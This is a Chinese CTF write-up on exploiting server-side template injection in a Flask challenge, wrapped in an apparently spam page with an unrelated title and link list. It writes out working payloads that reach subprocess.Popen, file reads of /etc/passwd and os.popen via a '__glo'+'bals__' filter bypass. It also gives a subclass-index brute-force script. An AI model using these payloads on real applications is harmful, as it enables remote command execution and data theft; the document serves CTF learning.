当前位置: 首页 > news >正文

公司申请网站需要哪些材料优化营商环境条例

公司申请网站需要哪些材料,优化营商环境条例,荥阳网站建设公司,品牌建设措施目录 subprocess.Popen FILE warnings.catch_warnings site._Printer 这题很明显就是 SSTI了 源代码 我们试试看 {{7*7}} 然后我们就开始吧 原本我的想法是直接{{url_for.__globals__}} 但是回显是直接500 猜测过滤 我们正常来吧 {{"".__class__}} 查看当前…

目录

subprocess.Popen

FILE

warnings.catch_warnings

site._Printer



这题很明显就是 SSTI了

源代码

我们试试看

{{7*7}}

然后我们就开始吧

原本我的想法是直接{{url_for.__globals__}}

但是回显是直接500 猜测过滤 我们正常来吧

{{"".__class__}}  查看当前情况{{"".__class__.__base__}} 查看基类 这里发现没有利用的 我们修改代码{{"".__class__.__mro__}}  查看全部类  发现存在<type 'object'>了{{"".__class__.__mro__[2].__subclasses__()}}  查看object的子类

这里我们需要 os 来调用

但是这里存在一个类 可以不需要os

subprocess.Popen

Python3 subprocess | 菜鸟教程

需要参数

("命令",shell=True,stdout=-1)这里 stdout  就是指定输出 PIPE

然后我们可以使用 其方法来进行交互

("命令",shell=True,stdout=-1).communicate()

这样我们就可以实现rce

首先通过 脚本跑出来其的位数

import timeimport  requestsbase_url="http://1a3ad76d-35d3-4a35-97fb-8997c87bf989.node4.buuoj.cn:81/?search="for i in range(300):payload="{{\"\".__class__.__mro__[2].__subclasses__()[%s]}}"%ir = requests.get(url=base_url + payload)if "subprocess.Popen" in r.text:print(i)if r.status_code == 429:time.sleep(0.5)

跑出来是258

我们开始构造

?search={{''.__class__.__mro__[2].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0].strip()}}最后的.communicate()[0].strip() 通过 communicate方法 输出 并且指定数组 去除空白符

我们看看 flasklight看看

?search={{''.__class__.__mro__[2].__subclasses__()[258]("cat /flasklight/coomme_geeeett_youur_flek",shell=True,stdout=-1).communicate()[0].strip()}}

FILE

这是另一个方法 通过file读取文件

首先我们要测试一下

先查找一下 file

发现是40

然后我们看看

{{"".__class__.__mro__[2].__subclasses__()[40]}}
/?search={{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}

读取成功

然后我们去读一下命令行吧

发现读出了路径

我们看看这个py

但是还是没有办法直接读取出来 因为不知道flag的文件名字

warnings.catch_warnings

我们首先找一下这个类的位数

59

{{"".__class__.__mro__[2].__subclasses__()[59].__init__}}

这里就卡住了 因为我们还是需要 globals的参与

我们如何绕过过滤呢

{{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']}}

这样就可以

我们在上面也知道 是通过匹配过滤的

做到这个我们其实就可以正常rce了 但是还是完善一下这个类的用法吧

这里我们能发现 这个类没有加载 os 需要我们手动加载

我们需要在其

['__builtins__']['eval']

 下导入

payload

?search={{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

这样就借助 os 实现了 rce

site._Printer

我们知道了 globals可以拼接绕过

这个方法也可以实现我们看看里面是否内置了 os

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']}}

发现存在 我们直接rce即可

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

最后读取即可

http://www.tj-hxxt.cn/news/68009.html

相关文章:

  • 拼多多关键词推广seo网络推广机构
  • 每天4元代发广告重庆seo薪酬水平
  • 怎么让百度收录你的网站全网营销推广平台
  • 如何用front怕个做网站百度客服中心人工在线电话
  • 凡科网做的网站能直接用吗百度seo官方网站
  • 如何做网站拓扑结构图怎么做互联网营销推广
  • 摄影师个人网站制作百度网站关键词排名查询
  • 怎么提交网站收录郑州seo外包顾问
  • 网站 左右浮动 广告网站流量宝
  • 论坛类网站建设排名前十的小说
  • 传奇服务器如何做网站软文范例800字
  • 北京市办理居住卡在哪个网站做日本免费服务器ip地址
  • 国际电商平台有哪些百度搜索引擎优化详解
  • 制作网页框架的设计工具专业黑帽seo
  • 福建微网站建设广东seo
  • 聊城网站建设seo专业培训课程
  • 花生壳做网站缺点查域名ip地址查询
  • 网站制作公司优势seo做什么网站赚钱
  • 如何做图片 网站 链接seo是搜索引擎优化
  • 公司网站建设一条龙谷歌网页版登录入口
  • 用ip地址做网站地址有危险关键词优化公司网站
  • 自适应网站小程序开发文档
  • 武夷山网站推广网站优化
  • 软路由系统如何做网站产品销售方案与营销策略
  • 学网站开发应该学什么网络营销公司注册找哪家
  • 盘锦网站建设 盘锦建站推广 盘锦建站百度网登录入口
  • 列车营销网站怎么做营销方式都有哪些
  • 无锡做网站哪个公司好长春网站seo哪家好
  • 自己做的网站标题网络推广外包哪个公司做的比较好
  • 外贸商城网站制作公司seo策划